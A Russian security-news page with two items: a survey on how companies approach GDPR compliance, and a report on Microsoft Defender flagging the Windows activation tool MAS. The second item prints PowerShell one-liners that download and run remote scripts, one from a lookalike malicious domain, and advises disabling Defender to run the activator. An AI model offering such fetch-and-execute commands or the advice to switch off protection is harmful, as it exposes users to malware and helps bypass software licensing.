Компании относятся к GDPR серьезнее, чем к другим регламентам

Компании относятся к GDPR серьезнее, чем к другим регламентам

Компании относятся к GDPR серьезнее, чем к другим регламентам

Компания Netsparker, специализирующаяся на безопасности веб-приложений, опубликовала результаты опроса, касающиеся воздействия недавно принятого GDPR (Общий регламент по защите данных) на предприятия. В итоге были опрошены около 300 ИБ-руководителей.

Результаты опроса показали, что компании относятся к GDPR горазд серьезнее, чем к тем же HIPAA (Правила конфиденциальности в целях защиты информации о физическом и психическом здоровье пациентов) и PCI (стандарт безопасности данных индустрии платёжных карт).

99 % организаций активно вовлечены в процесс соблюдения требований GDPR, несмотря на стоимость и хлопоты, связанные с внутренней реорганизацией.

Напомним, что GDPR — постановление Европейского Союза, с помощью которого Европейский парламент, Совет Европейского Союза и Европейская комиссия усиливают и унифицируют защиту персональных данных всех лиц в Европейском Союзе (ЕС). Постановление также направлено на экспорт данных из ЕС.

Он вступил в силу 25 мая 2018 года.

Оказалось, что многие из опрошенных организаций до сих пор несовместимы с PCI и HIPAA, однако их ИБ-руководители заверили, что они собираются полностью удовлетворить требования GDPR. Это показывает, насколько серьезно они относятся к новому регламенту.

Вот немного статистики:

  • Около половины организаций (49 %) выполнили требования GDPR на 75 %.
  • Еще 37 % находятся на полпути.
  • 71 % планировали реализовать все к 25 мая.
  • Только 2 % считают, что еще не готовы к полной совместимости.

В рамках подготовки 57 % компаний планируют реинжинировать внутренние системы. 55 % набирают в команду новых людей, чтобы справиться со всеми процессами соответствия GDPR. А 48 % реорганизуют команды безопаности.

«Люди относятся серьезно к GDPR по той причине, что за последние годы мы наблюдали чудовищные по своим масштабам утечки данных. Новый регламент устраняет двусмысленность в вопросе ответственности за нарушения информации», — утверждает Феррух Мавитуна, генеральный директор Netsparker.

«Теперь с 25 мая именно предприятия будут нести ответственность за утечки данных. В результате компаниям придется пересмотреть то, как они обращаются с хранением данных. Возможно, придется даже все реструктурировать».

Соответствие GDPR обойдется действительно дорого. Результаты опроса показали следующие цифры:

  • 1 предприятие из 10 утверждает, что GDPR будет стоить их бизнесу менее 10 000 долларов США.
  • Около двух третей (36 процентов) потратят 50-100 тысяч долларов.
  • Около четверти (24 процента) потратят от 100 000 до 1 миллиона долларов.

Интересно, что ИБ-руководители, работающие в сфере здравоохранения, больше других сопротивляются соответствию GDPR.

Microsoft Defender посчитал MAS вредоносом и заблокировал активацию Windows

Microsoft, похоже, решила всерьёз взяться за Microsoft Activation Scripts (MAS) — популярный инструмент с открытым исходным кодом для активации Windows. Компания знает, что под именем MAS в Сети давно распространяются фейковые сайты и зловредные скрипты, и начала автоматически блокировать их с помощью Microsoft Defender. Проблема в том, что под раздачу внезапно попал и настоящий MAS.

Пользователи заметили, что при попытке запустить команду активации через PowerShell система резко обрывает процесс, а Defender помечает скрипт как угрозу с детектом Trojan:PowerShell/FakeMas.DA!MTB.

Выглядит тревожно — но, судя по всему, это обычное ложноположительное срабатывание, а не целенаправленная «война» Microsoft с оригинальным проектом.

Важно понимать контекст. Совсем недавно разработчики MAS сами подтвердили, что в Сети появились поддельные сайты, распространяющие вредоносные версии скрипта. И вся разница между настоящей и фишинговой командой — в одном символе домена:

  • Оригинальный MAS:
    irm https://get.activated.win | iex
  • Вредоносная подделка:
    irm https://get.activate.win | iex
    (без буквы d)

По всей видимости, Microsoft добавила в чёрный список слишком широкий набор доменов — и вместе с фейком заблокировала легитимный адрес. Ирония ситуации в том, что антивирус может мешать безопасному скрипту, тогда как фишинговый вариант теоретически мог остаться незамеченным.

На данный момент пользователям, у которых Defender включён (а он активен по умолчанию), приходится временно отключать защиту в Центре безопасности, выполнять активацию и сразу же включать защиту обратно. Решение не самое приятное, но рабочее — при одном важном условии.

Критически важно внимательно проверять домен. Отключать защиту и запускать фишинговый скрипт — это прямой путь к заражению системы, утечке данных и другим крайне неприятным последствиям.

Скорее всего, Microsoft исправит фильтрацию в одном из ближайших обновлений сигнатур Defender.

RSS: Новости на портале Anti-Malware.ru